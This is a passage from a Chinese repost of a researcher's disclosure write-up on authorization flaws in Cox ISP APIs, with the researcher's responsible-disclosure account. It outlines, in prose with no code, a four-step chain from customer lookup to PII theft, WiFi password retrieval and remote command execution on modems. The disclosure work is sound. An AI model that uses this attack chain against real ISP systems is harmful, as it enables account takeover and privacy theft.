这证明了更新设备配置的API调用是有效的。这意味着攻击者可以访问此API来覆盖配置设置,访问路由器,并在设备上执行命令。此时,我们拥有了与ISP技术支持团队类似的权限,能够利用这些API访问任何可访问的Cox设备进行攻击。

我通过Cox的负责任披露页面联系了他们,并分享了漏洞的详细信息。他们在六小时内关闭了暴露的API调用,并开始处理授权漏洞。第二天,我再也无法重现任何漏洞。

影响

这一系列漏洞展示了外部攻击者如何在没有任何前提条件的情况下执行命令和修改数百万个调制解调器的设置,访问任何商业客户的个人身份信息,并获得与ISP支持团队几乎相同的权限。

Cox是美国最大的私人宽带供应商,第三大有线电视供应商,也是美国第七大电话运营商。他们拥有数百万客户,并且是10个州最受欢迎的ISP。

一个典型的攻击场景可能是这样的:

  1. 1. 通过暴露的API使用客户的姓名、电话号码、电子邮件地址或账户号码搜索Cox商业目标
  2. 2. 通过查询步骤1中返回的UUID,获取完整的账户PII,包括设备MAC地址、电子邮件、电话号码和地址
  3. 3. 查询他们的硬件MAC地址以检索WiFi密码和连接设备
  4. 4. 执行任意命令,更新任何设备属性,并接管受害者账户

有超过700个暴露的API,其中许多提供了管理功能(例如查询调制解调器的连接设备)。每个API都存在相同的权限问题,通过反复重放HTTP请求,攻击者可以运行未经授权的命令。

附录

在向Cox报告漏洞后,他们调查了该特定漏洞是否曾经被恶意利用,结果没有发现滥用的历史(我发现漏洞的服务在2023年上线,而我的设备在2021年就被攻破了)。他们还告知我,他们与DigitalOcean的IP地址没有任何关联,这意味着设备确实被黑了,只是没有使用这篇博客中披露的方法。

我仍然非常好奇我的设备是如何被攻破的,因为我从未将我的调制解调器暴露在外部,也没有从我的家庭网络登录到设备中。这篇博客的目的是突出展示ISP和客户设备之间信任层中的漏洞,但调制解调器可能是通过其他更无聊的方法(例如局部CSRF到RCE 0day漏洞,我在我的家庭网络内本地触发)被攻破的。

我永远不会明白的事情之一是,为什么攻击者要重放我的流量?他们显然在我的网络中,可以在不被检测的情况下访问所有内容,为什么还要重放所有HTTP请求?真是奇怪。

获取更多精彩内容,尽在Track安全社区~:https://bbs.zkaq.cn

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。

原文始发于微信公众号(白帽子左一):黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月28日15:22:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   黑入数百万台调制解调器(以及调查谁入侵了我的调制解调器)https://cn-sec.com/archives/4010535.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息